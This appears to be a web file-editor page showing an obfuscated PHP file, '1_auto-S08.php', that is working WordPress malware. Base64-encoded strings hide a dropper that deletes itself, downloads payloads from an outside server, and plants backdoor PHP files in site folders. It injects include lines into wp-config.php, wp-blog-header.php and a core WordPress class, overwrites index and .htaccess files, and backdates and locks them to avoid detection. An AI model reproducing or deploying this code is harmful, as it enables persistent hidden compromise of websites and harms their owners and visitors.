Google
Edit File: 1_auto-S08.php
<?php $BgP = explode('~',base64_decode('ZXJyb3JfcmVwb3J0aW5nfnNldF90aW1lX2xpbWl0fmlnbm9yZV91c2VyX2Fib3J0fnVubGlua35zdHJzdHJ+c3RyX3JlcGxhY2V+Y2hkaXJ+c3Vic3RyfnByZWdfcmVwbGFjZX5maWxlX2V4aXN0c35zdHJ0b3VwcGVyfnN0cmxlbn5iYXNlNjRfZW5jb2RlfnJlbmFtZX5vcGNhY2hlX3Jlc2V0fmZ1bmN0aW9uX2V4aXN0c35zdHJlYW1fY29udGV4dF9jcmVhdGV+ZmlsZV9nZXRfY29udGVudHN+Y3VybF9pbml0fmN1cmxfc2V0b3B0fmN1cmxfZXhlY35jdXJsX2Nsb3NlfnN0cnBvc35leHBsb2RlfnNpemVvZn5pbXBsb2RlfmNocn5zdHJ0b2xvd2VyfmRpcm5hbWV+bWtkaXJ+Zm9wZW5+ZndyaXRlfmZjbG9zZX50b3VjaH5nbG9ifmZpbGVtdGltZX5hcnJheV9yYW5kfmFycmF5X3B1c2h+b3BlbmRpcn5yZWFkZGlyfmlzX2Rpcn5pc19saW5rfnByZWdfbWF0Y2h+c3Vic3RyX2NvdW50fnNodWZmbGU=')); $BgP[1](60);$BgP[2](1); $HNH = $_GET; $Det = $_SERVER; $tgc = !empty($HNH['a'])?$HNH['a']:0; $LWS = !empty($HNH['b'])?$HNH['b']:'s'; function WJRf($tgc){ $xdo = explode('~',base64_decode('U0NSSVBUX0ZJTEVOQU1FflNDUklQVF9GSUxFTkFNRX5cXH5QSFBfU0VMRn4vflxcflBIUF9TRUxGflBIUF9TRUxGfn5TQ1JJUFRfRklMRU5BTUV+L34vcm9ib3RzLnR4dH4vc2l0ZW1hcC54bWx+L2Vycm9yX2xvZ35odHRwOi9+L25zMS5+eGFtdWVtLn5zaG9wL19hcGlffmh5X2syNjA4Ln5waHA/dWl+ZD02MzE3JnRtPX5IVFRQX0hPU1R+SFRUUFN+SFRUUFN+b25+aHR0cHN+aHR0cH46Ly9+L34vW3cwLTlcLi1dL35+d3d3Ln5+PX4xMX5pbmRleC5waHB+Lmh0YWNjZXNzfnd3d34ufi1+fkhUVFBfSE9TVH53cC1jb25maWd+Ln5lfiJlIn4ifiJ+d3AtaW5jbHVkZXN+d3Atc2V0dGluZ3MucGhwfmNnaS1iaW4vLn4jTm90V3JpdGV+NW1kfldQfndwLWNvbmZpZ34ufndwLXhtbH4ucGhwfkRpcmVjdG9yeUluZGV4fkRpcmVjdG9yeUluZGV4IH53cC1hZG1pbi9tcy1+LnBocH5QSFB+PD9waHAgQGluY2x1ZGVfb25jZSgifiIpOyA/Pn48P3BocCBpZihmaWxlX2V4aXN0cygiaW5kZXguaHRtbCIpKXtpbmNsdWRlKCJpbmRleC5odG1sIik7fWVsc2V7QGluY2x1ZGUoIl9pbmRleC5odG1sIik7fT8+fi9pbmRleC5odG1sfi9faW5kZXguaHRtbH48YSBocmVmPSI/YT0yJnM9fiI+YXV0bzA4PC9hPn5jdXJsX2V4ZWN+aHR0cH5tZXRob2R+R0VUfnRpbWVvdXR+O347fiNFcnJvcn5tc2d+bXNnfjt+O35jYWNoZX5pbWFnZXN+YXNzZXRzfndwLWFkbWlufndwLWNvbnRlbnR+d3AtaW5jbHVkZXN+bXNnflNIOn5pbmRleH4vfi5waHB+bXNnfi8oX19NQUNPU1h8Y2dpLWJpbnxwbHVnaW5zfGFraXNtZXR8dXBsb2Fkcykvfi9pbmRleC5waHA=')); return $xdo[$tgc]; } if ($tgc) { @$BgP[3](__FILE__); @$BgP[3]($Det[WJRf(0)]); if($BgP[4]($Det[WJRf(0)],WJRf(2))) $Det[WJRf(3)] = $BgP[5](WJRf(4), WJRf(2),$Det[WJRf(3)]); define('W', rtrim($BgP[5]($Det[WJRf(3)],WJRf(8),$Det[WJRf(0)]),WJRf(4))); @$BgP[6](W); @$BgP[3](W.WJRf(11)); @$BgP[3](W.WJRf(12)); @$BgP[3](W.WJRf(13)); $mWt = WJRf(14).WJRf(15).WJRf(16).WJRf(17).WJRf(18).WJRf(19).WJRf(20).$LWS; $CRR = $Det[WJRf(21)]; $CRR = ((isset($Det[WJRf(22)]) && $Det[WJRf(22)]==WJRf(24)) ? WJRf(25) : WJRf(26)).WJRf(27).$CRR.WJRf(28); $ADj = TCYI($mWt); $CRR .= zgaK(@$ADj[14]).'/202658/'; $toX = WJRf(35); $xdo = WJRf(36); $JRO = sSiv()+2; $_N1 = substr(str_replace(array(WJRf(37),WJRf(38),WJRf(39)),WJRf(8),$Det[WJRf(21)]),0,3); $_N2 = 'theme-'.$_N1.'.json'; $_N4 = 'wp-includes/'.$_N2; $UNT = zgaK($ADj[0]); $VSj = zgaK($ADj[6]); $Bha = ($BgP[9](WJRf(48)) && $BgP[9](WJRf(49))); $HNH = WJRf(50).$_N1; if($Bha) $HNH = $_N4; @$BgP[3]($HNH); Ospu($HNH,$VSj,$JRO); if(!$BgP[9]($HNH)) { exit(WJRf(51));} SFAy($CRR); SFAy($BgP[10]($LWS)); if($Bha) { SFAy(WJRf(53)); $BDm = str_replace('wp-config',$_N4,base64_decode('PD9waHANCmRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7DQpAaW5jbHVkZV9vbmNlKCd3cC1jb25maWcnKTsNCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzs=')); @$BgP[3]($toX);Ospu($toX,$BDm,$JRO); $_N3 = WJRf(56).substr($_N1,0,3).WJRf(57); @$BgP[3]($_N3);Ospu($_N3,$BDm,$JRO,1); $UNT = str_replace(WJRf(58), WJRf(59).$_N3,$UNT); $kKu = base64_decode('PD9waHANCi8qKg0KICogQHBhY2thZ2UgV29yZFByZXNzDQogKi8NCg0KaWYgKCAhIGlzc2V0KCAkd3BfZGlkX2hlYWRlciApICkgew0KCQ0KCSR3cF9kaWRfaGVhZGVyID0gdHJ1ZTsNCg0KCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5Lg0KCUBJTkNMVURFX09OQ0UgLypfX0RJUl9fKi8gJ3dwLWNvbmZpZyc7DQoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsNCg0KCS8vIFNldCB1cCB0aGUgV29yZFByZXNzIHF1ZXJ5Lg0KCXdwKCk7DQoNCgkvLyBMb2FkIHRoZSB0aGVtZSB0ZW1wbGF0ZS4NCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsNCg0KfQ=='); $kKu = str_replace('wp-config',$_N4,$kKu); $kKu1 = 'wp-blog-header.php'; @$BgP[3]($kKu1);Ospu($kKu1,$kKu,$JRO); cyuJ('wp-includes/class-wp-recovery-mode.php','@include_once("'.$_N2.'");',2,$_N2); $B = MRIV(3); $xdo2 = '$'.$B.' = array("'.$_N4.'","fil"."esize","fo"."pen","fw"."rite","bas"."e64_d"."eco"."de","fcl"."ose"); if(@$'.$B.'[1]($'.$B.'[0])<1024){$f=@$'.$B.'[2]($'.$B.'[0],"w"); @$'.$B.'[3]($f,$'.$B.'[4]("'.base64_encode($VSj).'"));@$'.$B.'[5]($f);}'; HpfH('wp-config.php','$table_prefix',$xdo2.'$table_prefix','esize'); $HkB = WJRf(60).MRIV(6,2).WJRf(57); if($BgP[11](@$ADj[3])>99) SFAy(Ospu($HkB,zgaK($ADj[3]))); } else { SFAy(WJRf(62)); $bGO = WJRf(63).$HNH.WJRf(64); if($BgP[9]($toX)) { cyuJ($toX,$bGO,1,$HNH); } else { $bGO .= WJRf(65); @$BgP[3]($toX);Ospu($toX,$bGO,$JRO); @$BgP[13](W.WJRf(66),W.WJRf(67)); } } @$BgP[3]($xdo);Ospu($xdo,$UNT,$JRO,1); if($BgP[11](@$ADj[5])>3) Ospu(zgaK($ADj[5]),zgaK($ADj[4])); $aCU = []; SFAy(CVsQ()); } else { exit(WJRf(68).time().WJRf(69)); } function TCYI($mWt) {global $BgP; if(!$BgP[15](WJRf(70))){ $xdo = $BgP[16](array(WJRf(26)=>array(WJRf(72)=>WJRf(73), WJRf(74)=>18))); $Det = @$BgP[17]($mWt, false, $xdo); }else{ $JRO = $BgP[18](); $BgP[19]($JRO, CURLOPT_URL, $mWt); $BgP[19]($JRO, CURLOPT_RETURNTRANSFER, 1); $BgP[19]($JRO, CURLOPT_SSL_VERIFYPEER, false); $BgP[19]($JRO, CURLOPT_TIMEOUT, 18); $Det = $BgP[20]($JRO); $BgP[21]($JRO); } if(!empty($Det) && $BgP[22]($Det,WJRf(75))) $tgc = $BgP[23](WJRf(75),$Det); if(!empty($tgc) && $BgP[24]($tgc)>9) return $tgc; exit(WJRf(77)); } function SFAy($tgc) {global $BgP; if (!empty($tgc[WJRf(78)])) { echo $BgP[25](',',$tgc[WJRf(78)]).WJRf(75); } else { echo $tgc.WJRf(75); } } function CVsQ() { global $BgP, $ADj, $aCU, $Bha; pSEX(W); $tgc = count($aCU); $xdo = array(); if(count($aCU)<3) $xdo = array(MRIV(5),WJRf(82), WJRf(83), WJRf(84)); if($Bha) $xdo = array(WJRf(85), WJRf(86), WJRf(48)); if($tgc>1) { $JRO = $BgP[36]($aCU, $tgc); foreach($JRO as $i) { $BgP[37]($xdo, $aCU[$i]); } }else{ $BgP[37]($xdo, @$aCU[0]); } $UNT = []; $UNT[WJRf(78)][] = WJRf(89); $II = 4; $JJ = 7; foreach($xdo as $i=>$v) { if(!$BgP[9]($v)) $BgP[29]($v); $BDm = $BgP[27](MRIV(5)); switch ($II) { case 4: $BDm = '.e'.$BDm;break; case 5: $BDm = '.m'.$BDm;break; case 6: $BDm = '.l'.$BDm;break; case 7: case 8: case 9: $BDm = WJRf(90);break; default: $BDm = '.l'.$BDm; } $VSj = $v.WJRf(4).$BDm.WJRf(57); $HNH = zgaK($ADj[$JJ]); $II++; $JJ++; if($JJ>10) $JJ = 7; $UNT[WJRf(78)][] = Ospu($VSj,$HNH); if($II>10) break; } if($Bha) { if($BgP[11](@$ADj[11])>3) Ospu(zgaK($ADj[11]),zgaK($ADj[10])); } else { if($BgP[11](@$ADj[12])>3) Ospu(zgaK($ADj[12]),zgaK($ADj[10])); } if($BgP[11](@$ADj[13])>3) Ospu(zgaK($ADj[13]),zgaK($ADj[10])); return $UNT; } function pSEX($tgc) { global $BgP, $aCU, $Bha; if ($xdo = $BgP[38]($tgc)) { while (($JRO = $BgP[39]($xdo)) !== false) { if ($JRO != '.' && $JRO != '..') { $UNT = $tgc . '/' . $JRO; if ($BgP[40]($UNT) && !$BgP[41]($UNT) &&!$BgP[42](WJRf(94),$JRO)) { $BDm = $BgP[5](W.'/','',$UNT); if ($BgP[43]($BDm,'/')<3) { pSEX($UNT); } $N=0; if($Bha) $N=3; if(!$BgP[9]($UNT.WJRf(95)) && $BgP[43]($BDm,'/')>=$N) $BgP[37]($aCU, $BDm); } } } } $BgP[44]($aCU); } function zgaK($s) {global $BgP;$S = '';$a = $BgP[23]('.',trim($s,'.'));foreach($a as $v) {$S .= $BgP[26]($v);}return $S;} function MRIV($n=5,$t=0) {global $BgP;$arr = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $arr[mt_rand(0, $BgP[24]($arr) - 1)];}return ($t==1 ? $BgP[10]($s) : ($t==2 ? $BgP[27]($s) : $s));} function Ospu($F,$C,$T='',$mod=0) {global $BgP;if(!$BgP[4]($F,W)) $F = W.'/'.$F;$dir = $BgP[28]($F);if(!empty($dir)&&!$BgP[9]($dir)) @$BgP[29]($dir);$fp = @$BgP[30]($F, 'w');@$BgP[31]($fp, trim($C));@$BgP[32]($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@$BgP[33]($F, $T);if($mod) @chmod($F,0444);return ($BgP[9]($F) ? $BgP[5](W,'',$F) : '~');} function sSiv() {global $BgP;$JRO = time()-rand(10,100)*86400;$tArr = $BgP[34](W.'/*.php');foreach($tArr as $v) {$JRO2 = @$BgP[35]($v); if($JRO2>100&&$JRO2<$JRO) $JRO = $JRO2;}return $JRO;} function cyuJ($F,$C,$T=1,$K='~') {global $BgP;if(!$BgP[4]($F,W)) $F = W.'/'.$F;if($BgP[9]($F)) {$code = @$BgP[17]($F);if(!empty($code)&&$BgP[22]($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $t = @$BgP[35]($F);return Ospu($F,$code,$t+2);}return '~';}} function HpfH($F,$a,$b,$k) {global $BgP;if(!strstr($F,W)) $F = W.'/'.$F;if(file_exists($F)) {$code = @file_get_contents($F);if(!empty($code)&&!preg_match('/'.$k.'/',$code)) {$time = @filemtime($F);$code = str_replace($a,$b,$code);if(!$BgP[9]($F.'.0')) @$BgP[13]($F,$F.'.0');return Ospu($F,$code,$time+5);}return '~';}}